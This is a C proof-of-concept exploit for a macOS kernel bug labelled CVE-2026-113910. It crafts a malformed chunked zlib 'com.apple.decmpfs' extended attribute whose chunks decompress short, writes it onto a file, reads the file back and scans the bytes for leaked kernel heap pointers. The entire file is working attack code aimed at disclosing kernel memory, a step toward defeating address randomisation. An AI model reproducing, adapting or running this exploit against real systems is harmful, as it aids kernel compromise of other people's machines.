cinder27/CVE-2026-113910/CVE-2026-113910.c

// kern.decmpfs · AppleFSCompressionTypeZlib chunked xattr · CVE-2026-113910
// Kernel heap disclosure through short-producing chunks
// C twin of the Swift POC: builds a type-4 chunked zlib com.apple.decmpfs xattr whose
// chunks produce fewer bytes than the chunk table promises, writes it onto a file,
// reads the file back and scans for kernel-space pointers (>= 0xFFFFFFE000000000).
// Build: clang -O2 -o cve-2026-113910 CVE-2026-113910.c
// Run:   ./cve-2026-113910

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/xattr.h>

// ── byte buffer ──
typedef struct { uint8_t *d; size_t n, cap; } buf;
static void bneed(buf *b, size_t extra) {
    if (b->n + extra > b->cap) { b->cap = (b->n + extra) * 2 + 64; b->d = realloc(b->d, b->cap); }
}
static void bput(buf *b, uint8_t v) { bneed(b, 1); b->d[b->n++] = v; }
static void bcat(buf *b, const void *p, size_t n) { bneed(b, n); memcpy(b->d + b->n, p, n); b->n += n; }
static void brep(buf *b, uint8_t v, size_t n) { bneed(b, n); memset(b->d + b->n, v, n); b->n += n; }
static void bfree(buf *b) { free(b->d); b->d = NULL; b->n = b->cap = 0; }

static void le16(buf *b, uint16_t v) { bput(b, v & 0xff); bput(b, v >> 8); }
static void le32(buf *b, uint32_t v) {
    bput(b, v & 0xff); bput(b, (v >> 8) & 0xff); bput(b, (v >> 16) & 0xff); bput(b, (v >> 24) & 0xff);
}
static void le64(buf *b, uint64_t v) {
    for (int i = 0; i < 8; i++) bput(b, (uint8_t)((v >> (8 * i)) & 0xff));
}
static void be32(buf *b, uint32_t v) {
    bput(b, v >> 24); bput(b, (v >> 16) & 0xff); bput(b, (v >> 8) & 0xff); bput(b, v & 0xff);
}

// ── seed construction (from Cinder27 Sources: Decmpfs.chunkedXattr) ──
// 'cmpf' magic, type 4 (chunked zlib), uncompressed size, offset table, then chunks
// whose zlib streams produce only `produce` bytes each
static uint32_t adler32(const uint8_t *p, size_t n) {
    uint32_t a = 1, b = 0;
    for (size_t i = 0; i < n; i++) {
        a = (a + p[i]) % 65521;
        b = (b + a) % 65521;
    }
    return (b << 16) | a;
}

static buf decmpfs_chunked(size_t uncompressed, int chunk_count, size_t produce) {
    buf out = {0};
    le32(&out, 0x636D7066);            // 'cmpf'
    le32(&out, 4);                     // typeZlibChunked
    le64(&out, (uint64_t)uncompressed);

    // per-chunk: flag byte 0x00 + zlib stream of `produce` bytes of 0x41
    buf payload = {0};
    brep(&payload, 0x41, produce);
    buf z = {0};
    bput(&z, 0x78); bput(&z, 0x01);   // zlib header
    size_t off = 0;
    if (payload.n == 0) bcat(&z, "\x01\x00\x00\xFF\xFF", 5);
    while (off < payload.n) {
        size_t take = payload.n - off < 65535 ? payload.n - off : 65535;
        bput(&z, off + take >= payload.n ? 0x01 : 0x00);   // final flag
        le16(&z, (uint16_t)take);
        le16(&z, (uint16_t)~take);
        bcat(&z, payload.d + off, take);
        off += take;
    }
    be32(&z, adler32(payload.d, payload.n));

    uint32_t offsets[9];
    uint32_t running = 0;
    for (int i = 0; i < chunk_count; i++) {
        offsets[i] = running;
        running += (uint32_t)(1 + z.n);   // flag byte + zlib stream
    }
    offsets[chunk_count] = running;
    for (int i = 0; i <= chunk_count; i++) le32(&out, offsets[i]);
    for (int i = 0; i < chunk_count; i++) { bput(&out, 0x00); bcat(&out, z.d, z.n); }

    bfree(&payload);
    bfree(&z);
    return out;
}

// ── trigger: xattr round trip + kernel-pointer scan ──
typedef struct {
    int wrote_xattr;
    long read_back;
    long hits;
    char samples[8][32];
    int nsamples;
    char note[128];
} decmpfs_result;

static decmpfs_result probe(const char *path, size_t uncompressed, int chunks, size_t produce) {
    decmpfs_result r = {0};
    // seed file: plain 0x41 content (the uncompressed claim)
    unlink(path);
    int fd = open(path, O_WRONLY | O_CREAT, 0644);
    if (fd >= 0) {
        uint8_t zeros[4096];
        memset(zeros, 0x41, sizeof zeros);
        size_t left = uncompressed < 64 ? 64 : uncompressed;
        while (left > 0) {
            size_t take = left < sizeof zeros ? left : sizeof zeros;
            if (write(fd, zeros, take) != (ssize_t)take) break;
            left -= take;
        }
        close(fd);
    }

    buf payload = decmpfs_chunked(uncompressed, chunks, produce);
    if (setxattr(path, "com.apple.decmpfs", payload.d, payload.n, 0, 0) != 0) {
        snprintf(r.note, sizeof r.note, "setxattr failed errno=%d", errno);
        bfree(&payload);
        return r;
    }
    r.wrote_xattr = 1;

    // read the file back: the kernel decompresses through AppleFSCompression
    FILE *f = fopen(path, "rb");
    if (!f) {
        snprintf(r.note, sizeof r.note, "read failed errno=%d", errno);
        bfree(&payload);
        return r;
    }
    buf back = {0};
    uint8_t chunk[65536];
    size_t got;
    while ((got = fread(chunk, 1, sizeof chunk, f)) > 0) bcat(&back, chunk, got);
    fclose(f);
    r.read_back = (long)back.n;

    // scan for kernel-space pointers in whatever the kernel handed back
    if (back.n >= 8) {
        for (size_t i = 0; i + 8 <= back.n; i += 8) {
            uint64_t v = 0;
            for (int k = 0; k < 8; k++) v |= (uint64_t)back.d[i + k] << (8 * k);
            if (v >= 0xFFFFFFE000000000ULL) {
                r.hits++;
                if (r.nsamples < 8) {
                    snprintf(r.samples[r.nsamples], sizeof r.samples[0], "0x%016llx @ +0x%zx",
                             (unsigned long long)v, i);
                    r.nsamples++;
                }
            }
        }
    }
    snprintf(r.note, sizeof r.note, "read %ld B", r.read_back);
    bfree(&back);
    bfree(&payload);
    return r;
}

int main(void) {
    const char *path = "decmpfs_probe.bin";
    struct { int chunks; size_t produce; } configs[4] = {
        {4, 65536}, {4, 4096}, {8, 1024}, {2, 1},
    };
    long total_hits = 0;

    printf("— baseline: what a plain file reads back —\n");
    {
        unlink(path);
        int fd = open(path, O_WRONLY | O_CREAT, 0644);
        if (fd >= 0) {
            uint8_t a64[64];
            memset(a64, 0x41, sizeof a64);
            for (int i = 0; i < 64; i++) if (write(fd, a64, sizeof a64) != 64) break;
            close(fd);
        }
        FILE *f = fopen(path, "rb");
        if (f) { fseek(f, 0, SEEK_END); printf("plain size: %ld\n", ftell(f)); fclose(f); }
    }

    printf("\n— chunked xattr round trip —\n");
    for (int i = 0; i < 4; i++) {
        size_t uncompressed = (size_t)configs[i].chunks * 65536;
        decmpfs_result r = probe(path, uncompressed, configs[i].chunks, configs[i].produce);
        total_hits += r.hits;
        printf("chunks=%d produce=%zu: xattr=%d read=%ldB hits=%ld — %s\n",
               configs[i].chunks, configs[i].produce, r.wrote_xattr, r.read_back, r.hits, r.note);
        if (r.nsamples > 0) {
            printf("  candidates:");
            for (int k = 0; k < r.nsamples; k++) printf(" %s", r.samples[k]);
            printf("\n");
        }
    }

    unlink(path);
    printf("\nCVE-2026-113910 · %s\n", total_hits > 0 ? "kernel pointer candidates found"
                                                      : "no kernel pointers surfaced (read was served plain)");
    return 0;
}